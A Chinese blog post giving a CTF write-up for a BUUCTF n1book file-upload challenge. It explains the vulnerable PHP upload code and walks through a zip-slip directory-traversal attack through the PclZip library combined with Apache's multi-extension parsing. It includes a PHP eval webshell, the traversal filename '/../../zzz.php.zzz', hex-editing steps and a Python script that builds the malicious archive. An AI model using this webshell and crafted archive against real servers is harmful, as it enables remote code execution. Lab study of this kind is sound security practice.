zip slip目录遍历加n1例题

题目:buuctf的n1book [第二章 web进阶]文件上传

一、题目源码:

这里看到每5分钟清理一次,一开始以为是条件竞争,但是代码审计过后,发现但代码中 check_dir 在每次上传后都立即运行,所以可以排除

<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');

if(!$_FILES){

        echo '

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>文件上传章节练习题</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <style type="text/css">
        .login-box{
            margin-top: 100px;
            height: 500px;
            border: 1px solid #000;
        }
        body{
            background: white;
        }
        .btn1{
            width: 200px;
        }
        .d1{
            display: block;
            height: 400px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="login-box col-md-12">
        <form class="form-horizontal" method="post" enctype="multipart/form-data" >
            <h1>文件上传章节练习题</h1>
            <hr />
            <div class="form-group">
                <label class="col-sm-2 control-label">选择文件:</label>
                <div class="input-group col-sm-10">
                    <div >
                    <label for="">
                        <input type="file" name="file" />
                    </label>
                    </div>
                </div>
            </div>

        <div class="col-sm-8  text-right">
            <input type="submit" class="btn btn-success text-right btn1" />
        </div>
        </form>
        </div>
    </div>
</body>
</html>
';

    show_source(__FILE__);
}else{
    $file = $_FILES['file'];

    if(!$file){
        exit("请勿上传空文件");
    }
    $name = $file['name'];

    $dir = 'upload/';
    $ext = strtolower(substr(strrchr($name, '.'), 1));
    $path = $dir.$name;

    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                 }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f);
                    }
                }

            }
        }
    }

    if(!is_dir($dir)){
        mkdir($dir);
    }

    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
        mkdir($temp_dir);
    }

    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
        if($ext == 'zip'){
            $archive = new PclZip($file['tmp_name']);
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){
                     exit("压缩包内不允许含有php文件!");
                 }
            }
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir);
                   exit("解压失败");
            }

            check_dir($dir);
            exit('上传成功!');
        }else{
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上传成功!');
        }
    }else{
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
}

解释:

基础设置与文件包含

<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');
  • header(...): 设置网页输出的字符编码为 UTF-8,防止中文乱码。
  • 注释: 提示了一个关键信息:服务器上的上传目录每 5 分钟会自动清理一次。这意味着攻击者即使上传了文件,也必须在短时间内利用,否则文件会被删除
  • require_once('pclzip.lib.php'): 引入了一个名为 PclZip 的第三方 PHP 库,用于处理 ZIP 压缩包的解压功能,但它存在一个目录遍历漏洞

2. 前端页面逻辑 (未上传文件时)

if(!$_FILES){
    // 输出 HTML 表单代码...
    show_source(__FILE__);
}
  • 逻辑: 如果 $_FILES 超全局变量为空(即用户刚访问页面,还没有提交文件),则执行大括号内的代码。
  • HTML 输出: 打印出一个基于 Bootstrap 3.3.7 样式的网页,包含一个文件上传表单(<form enctype="multipart/form-data">)。这个表单允许用户选择文件并提交。
  • show_source(__FILE__): 它会直接在网页底部显示当前这个 PHP 文件的源代码

3. 后端处理逻辑 (上传文件后)

当用户提交了文件,代码进入 else 分支进行处理。

3.1 变量初始化与空值检查

}else{
    $file = $_FILES['file']; // 获取上传的文件信息数组
    if(!$file){
        exit("请勿上传空文件"); // 如果没选文件,直接报错退出
    }
    $name = $file['name']; // 获取上传的原始文件名
    $dir = 'upload/'; // 定义基础上传目录
    $ext = strtolower(substr(strrchr($name, '.'), 1)); // 提取文件后缀名,并转为小写
    $path = $dir.$name; // 拼接路径(虽然定义了,但后面没直接用这个变量保存)
  • $ext 提取逻辑: strrchr($name, '.') 找到最后一个点,substr(..., 1) 去掉点只要后缀,strtolower 转小写。
  • $path: 虽然拼接了路径,但后续代码并没有直接使用这个变量来保存文件。

3.2 check_dir 函数定义

    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f); // 删除文件
                    }
                }
            }
        }
    }
  • 功能: 这是一个递归函数,用于扫描指定目录及其子目录下的所有文件。
  • 逻辑:
  • 遍历目录下的文件。
  • 如果是子目录,递归调用自己继续扫描。
  • 如果是文件,检查其后缀名。
  • 核心规则: 如果文件后缀不是 jpg, gif, 或 png,则使用 unlink() 将其删除
  • 目的: 这是一个“兜底”机制。无论文件怎么上传进来,只要不是这三种图片格式,最终都会被这个函数清理掉。这通常是为了防止 WebShell(一句话木马)被上传。

3.3 目录创建逻辑

    if(!is_dir($dir)){
        mkdir($dir); // 如果 upload 目录不存在,创建它
    }

    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
        mkdir($temp_dir); // 创建一个基于时间戳和随机数的唯一临时目录
    }
  • $temp_dir: 代码没有直接将文件上传到根目录,而是先创建了一个随机命名的子目录(例如 upload/5d41402abc4b2a76b9719d911017459b/)。这增加了攻击者猜测文件路径的难度。

3.4 文件类型验证与处理

    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
        if($ext == 'zip'){
            // 处理 ZIP 文件
            $archive = new PclZip($file['tmp_name']);

            // 1. 检查压缩包内容
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){
                     exit("压缩包内不允许含有php文件!");
                 }
            }

            // 2. 尝试解压
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir); // 解压失败则清理
                exit("解压失败");
            }
            check_dir($dir); // 解压成功后,运行清理函数
            exit('上传成功!');

        }else{
            // 处理图片文件 (jpg, gif, png)
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上传成功!');
        }
    }else{
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
}

逻辑详细拆解:

  1. 白名单检查: 首先检查上传文件的后缀是否在 zip, jpg, gif, png 之中。如果不是,直接拒绝。

  2. ZIP 文件处理分支:

  3. 实例化: 使用 PclZip 库加载临时文件。

  4. 内容扫描: 使用

    listContent()

    遍历压缩包内的所有文件名。使用正则

    preg_match('/\.php$/', $filename)

    严格检查是否有文件以 .php结尾

  5. 解压: 如果没有 PHP 文件,就解压到之前生成的随机临时目录 $temp_dir

  6. 清理: 解压完成后,调用 check_dir($dir)这意味着,如果解压出来的文件不是 jpg/gif/png,它们会被立刻删除,也就是没办法利用条件竞争了

  7. 图片文件处理分支:

  8. 直接将上传的 jpg/gif/png 文件移动到随机临时目录。

  9. 调用 check_dir(对于合法图片来说,这一步不会删除它们)

利用思路:

【1】PclZip 漏洞: 利用 PclZip 库的已知漏洞目录遍历,将文件解压到 Web 目录外或绕过检查,压缩包文件目录穿越,压缩包内文件命名为/../../xxx.php.xxx

【2】Apache php解析漏洞,xxx.php.xxx被当成xxx.php解析

image-20260520202427885

这里随便访问一个不存在的文件,由报错可以发现是apache

实战

注:构造../../zzz.php.zzz也可以

【1】等下要构造/../../zzz.php.zzz文件,而通过010editor构造恶意压缩包,这里需要注意修改后的文件名长度与修改前一致,否则解压会报错

前面那个长度为18,所以修改前文件命名也要为18位,命名123456789012345678,再压缩为123456789012345678.zip,用010editor打开

#123456789012345678文件内容如下
<?php @eval($_GET['sb']);?>

image-20260520210527195

【2】修改文件内容,展开上面的dirEntry

image-20260520210646589

【3】修改为/../../zzz.php.zzz,ctrl+s报存

image-20260520211104438

【4】上传123456789012345678.zip文件,再去访问得到flag

image-20260520211244758

或者直接python脚本生成:

import zipfile

payload = """sb
"""

with zipfile.ZipFile("sb.zip", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("../../xxx.php.xxx", payload)

解释:

(1)zipfile.ZipFile("sb.zip", "w", ...):创建一个名为 sb.zip 的新压缩包,模式为写入("w")。

(2)z.writestr(filename, data):这是最关键的一步。它不读取磁盘上的文件,而是直接将内存中的字符串 payload 写入压缩包,并指定其在压缩包内的文件名为 filename,这里由于题目好像只用生成了文件,他会自动添加flag到你那个文件里,所以就随便写个内容(sb

posted @ 2026-06-18 13:05  Doll_Marker  阅读(15)  评论(0)    收藏  举报